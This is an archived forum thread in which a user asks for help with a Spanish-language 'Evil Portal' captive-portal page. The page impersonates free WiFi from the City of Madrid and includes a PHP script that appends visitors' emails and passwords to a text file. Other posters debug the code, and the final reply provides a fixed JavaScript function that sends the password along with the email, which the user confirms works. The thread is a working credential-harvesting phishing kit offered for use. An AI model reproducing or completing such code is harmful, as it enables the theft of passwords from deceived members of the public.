Jump to content

Archived

This topic is now archived and is closed to further replies.

daniboy92

Help me with this html code

Recommended Posts

Hi,

I have problems with a html web. I want a html for summit a loggin information with Evil Portal infusion. Now this html can redirect normally but it doesn't save email and password. I think i'm missing something in this code because i don't have many knowledge about html programming... This is my html code:

<html>

<head>
<title>$gatewayname Entry</title>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
</head>
<body>
<center>
<h2>$gatewayname</h2>
<font size="1"><i>Ofrecido para usted por la Ciudad de Madrid</i></font>
<br />
<br />
<p><font size="2">Para hacer uso del servicio necesita suscribirse con un email y una contrase&ntildea.</font></p>
<div id="results"></div>
<form id="emailform" method="POST" action="http://172.16.42.1:80/capture.php">
<table>
<tr>
<td><label>Email</label></td>
<td><input type="text" id="email" name="email" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="text" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
<button type="button" onclick="sendInfo();return false;">Ingresar</button>
</form>
<p><font size="1"><i>Su informaci&oacuten no será compartida con terceras partes.</i></font></p>
<p><font size="1"><i>Conectándose y haciendo uso de esta red está aceptando los <a href="#">términos del servicio.</a></i></p>
<img src="images/wifi.png" width="71" height="49" border="0">
</center>
<iframe style="display:none;" src="get"></iframe>
</body>
</html>
this is my capture.php:

<?php

$email = $_POST['email'];
$password = $_POST['password'];
$redirect = $_POST['redirect'];
$file = fopen("evilportalpass.txt", "a");
fwrite($file, $email . " " . $password . "\n");
fclose($file);
echo 'Gracias por elegir $gatewayname <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';
?>
The location for this file is in /www folder. I don't know if its's a code problem or just a location problem from my capture.php.
Hope someone can help me.

Share this post


Link to post
Share on other sites

Couple things:

action="http://172.16.42.1:80/capture.php">

You do not need :80 as 80 is the default port for HTTP traffic. you can just have http://172.16.42.1/capture.php

Also you need to concat your strings together:

echo 'Gracias por elegir ' . $gatewayname . ' <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';

And you never initialized $gatewayname. Its value is always null

Share this post


Link to post
Share on other sites

Thanks man. Now this two are fixing... And what about this script?

<script type="text/javascript">

function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
I don't know if i am sending and collecting fine the information from that two fields "email" "password.
This is how my web looks:
AduEgSW.jpg

Share this post


Link to post
Share on other sites

I do not have a pineapple to test it on at the moment however it looks fine. If you are having issues open up your developers console on your web browser and see what your javascript errors are

Share this post


Link to post
Share on other sites

I'm a little more near from my goal...

With your modifications i get a email and created the file perfectly!!

The only thing i need it's to make this html send the password fields and register in the same txt.... Because the password information it's not sending... I don't know why.

So... there is something wrong in the part of sending password information.

Share this post


Link to post
Share on other sites
function sendInfo() {
      var xmlhttp = new ajaxRequest();
      var emailvalue=encodeURIComponent(document.getElementById("email").value);
      var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
      var passwordvalue=encodeURIComponent(document.getElementById("password").value);
      if (emailvalue != null && emailvalue != "") {
       var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
        xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlhttp.send(parameters);
        document.getElementById("results").innerHTML="&iexclGracias!";
        window.location = document.getElementById("redirect").value;
      } else {
        document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
      }
    }

Replace your sendInfo() function with mine

Share this post


Link to post
Share on other sites

Awesome glad it works for you!

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...